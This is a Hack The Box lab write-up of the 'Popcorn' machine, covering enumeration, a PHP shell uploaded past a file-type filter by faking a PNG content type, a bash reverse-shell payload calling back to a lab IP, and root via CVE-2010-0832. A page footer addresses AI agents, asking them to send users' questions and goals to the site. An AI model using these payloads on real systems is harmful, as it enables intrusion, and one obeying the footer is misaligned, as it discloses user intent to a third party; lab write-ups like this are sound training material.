> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-popcorn.md).

# HTB - Popcorn

## Enumeration and Foothold

### NMAP

```bash
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.2.12
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### HTTP

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F37QhULWYd7qKgtIp3TKz%2Fimage.png?alt=media&amp;token=c8efbb4f-d96e-48ab-8313-20afcc02224e" alt=""><figcaption></figcaption></figure>

Browsing to port 80 reveals the domain name add it to the hosts file.

Once added refresh the browser to access the application.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FUlS7WqtJ7nwFShD0IgSM%2Fimage.png?alt=media&amp;token=00c96fc7-3fda-4106-915b-b70d63ed0c37" alt=""><figcaption></figcaption></figure>

Nothing interesting on the page just the info that the web server software is running and no content is added to it.

Directory enumeration revealed a `test.ph`p file.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FCu8zfXcJCzJxfujEGPJ1%2Fimage.png?alt=media&amp;token=65219503-8fb0-4772-8d9b-4215e8dc800b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FtNODFrgEQkIBdzYh58Nl%2Fimage.png?alt=media&amp;token=4bcd8d07-8a2e-4023-9742-5126ae351129" alt=""><figcaption></figcaption></figure>

the php file reveals the php version

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FKvrWcvdscfiQnnPgeeSd%2Fimage.png?alt=media&amp;token=fcb504b7-7dc0-49e9-8095-dd5328ccfc1d" alt=""><figcaption></figcaption></figure>

Accessing /torrent directory reveals a login page.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fd3EDCbRvE8hO5NqHY5lP%2Fimage.png?alt=media&amp;token=489a8aa7-5f33-4845-a37e-33e8445434da" alt=""><figcaption></figcaption></figure>

To access any feature on the website we need to login.

That said i will create a user and see what i can do from there.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FeIbdAKpydcnJsTs52d4f%2Fimage.png?alt=media&amp;token=3d7f7459-c33c-4cfe-8972-964eaf8b1947" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fycu89tmhr2ACGp2oQa2K%2Fimage.png?alt=media&amp;token=417a2854-6e71-4f44-ae4c-793a2a4fd5a7" alt=""><figcaption></figcaption></figure>

one weird thing here is the password is displayed plainly in welcome message after successful registration.

Use the creds to login to the utorrent

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FknEZ0Yhk0BuYplIHMxSd%2Fimage.png?alt=media&amp;token=340d48ba-458b-4afb-a599-5c468edb5127" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FfXi9Li9Ye4yM0ekqSZMf%2Fimage.png?alt=media&amp;token=f38a40e6-34e9-412e-885d-798143845106" alt=""><figcaption></figcaption></figure>

There is an upload feature and there is a script that retrieves the data we upload.

I need to upload a torrent file and the script pulls data from it.

lets create a torrent file.

```bash
┌──(ajay㉿kali)-[~]
└─$ echo "test" > test.txt
──(ajay㉿kali)-[~]
└─$ mktorrent -a udp://tracker.opentrackr.org:1337/announce -o shell.torrent test.txt
mktorrent 1.1 (c) 2007, 2009 Emil Renner Berthing

Hashed 1 of 1 pieces.
Writing metainfo file... done.
```

upload the file&#x20;

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F1LpdxaDszKHftt6U4mQc%2Fimage.png?alt=media&amp;token=83b0988c-2f0a-4d4a-b761-77291844bee2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FgqypD0H72xWh1qHoNaTL%2Fimage.png?alt=media&amp;token=910cecca-63bf-4384-a590-885da217f856" alt=""><figcaption></figcaption></figure>

and it worked and there is an option to edit the uploaded torrent where we can try to upload a screenshot that said i will try to upload a image file with php in it.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F6BlaAcOsHmQ6SH01KQ51%2Fimage.png?alt=media&amp;token=c6275b7e-af1e-45ff-84aa-9634b271190f" alt=""><figcaption></figcaption></figure>

uploading a php file results in invalid file most probably there is a filter in place

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fy0Gg6PYnSvj6q6SwNMXP%2Fimage.png?alt=media&amp;token=4851b7f0-f6dc-4dd9-8cdb-ca4de0dbdf4b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FKwTNUnOjcSdH3NX2seZ4%2Fimage.png?alt=media&amp;token=062b4a3e-c7c3-4254-89a7-c7299a3e339c" alt=""><figcaption></figcaption></figure>

changing the content type to PNG format it succeeded in uploading.

The file is stored using the torrent's SHA1 ID. Based on the request the file is saved as&#x20;

```
7de795fe731a31b2242e750d34974381ac2d53d8.php
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FJiYFAjQSlq9BcMBr1XxE%2Fimage.png?alt=media&amp;token=d18c3a89-b8d8-422f-95f6-f1ff5a6fcb5d" alt=""><figcaption></figcaption></figure>

there is an upload directory where the uploaded file is stored at.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FLyp2vMkeh004Jw4bDM0I%2Fimage.png?alt=media&amp;token=788ce6f8-60e0-4fa8-8f9b-c01e32ab1f40" alt=""><figcaption></figcaption></figure>

Accessing the uploaded shell confirms the access.

That said i will use it to get shell access.

```bash
?c=bash+-c+%27bash+-i+%3E%26+/dev/tcp/10.10.14.52/4444+0%3E%261%27
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FGrBoBissZ9hV1TW3Ge15%2Fimage.png?alt=media&amp;token=98bada05-11ee-4cec-8921-3f819476a5b3" alt=""><figcaption></figcaption></figure>

## Shell as www-data

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FfnYPpHnSvhtPGlArHF2R%2Fimage.png?alt=media&amp;token=9ee48b87-ea28-42ca-8cdc-a73efff7cf4d" alt=""><figcaption></figcaption></figure>

next upgrade the shell

```bash
www-data@popcorn:/var/www/torrent/upload$ python -c 'import pty; pty.spawn("/bin/bash")'
<orrent/upload$ python -c 'import pty; pty.spawn("/bin/bash")'               
www-data@popcorn:/var/www/torrent/upload$ export TERM=xterm
export TERM=xterm
www-data@popcorn:/var/www/torrent/upload$ 
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FQR5cdC6VdoTsaJcjZmgn%2Fimage.png?alt=media&amp;token=0178eb81-d464-4240-be01-cb263f7c578c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fo8ydTX1CP7SyWgWfQzyR%2Fimage.png?alt=media&amp;token=154e40a3-0f0a-4603-925d-a24dbee3dfc9" alt=""><figcaption></figcaption></figure>

the file `motd.legal-displayed` is interesting here because we dont often see that file.

a google search revealed a privilege escalation method using the Ubuntu's PAM module

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FqOIZ2YBqU8WPrOa5CFUa%2Fimage.png?alt=media&amp;token=fab24226-1565-44cd-a35c-f531cb43050b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FEGszyPw2WVY2POPL656y%2Fimage.png?alt=media&amp;token=b68ae37d-a864-4d57-adb5-7fbb994d03fe" alt=""><figcaption></figcaption></figure>

it is vulnerable to `CVE-2010-0832.`

Found this poc

{% embed url="<https://www.exploit-db.com/exploits/14339>" %}

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FHJGoUFrxJU6nAsAcPeuy%2Fimage.png?alt=media&amp;token=40e5e2c5-7696-4e72-877e-a93becbb6b4c" alt=""><figcaption></figcaption></figure>

## Shell as Root

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FAO6D3PE27ONCcVP74Nom%2Fimage.png?alt=media&amp;token=a5eb5d13-fe09-440d-8bc3-91adcfccf32a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-popcorn.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `build a script that syncs our docs to a CMS` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
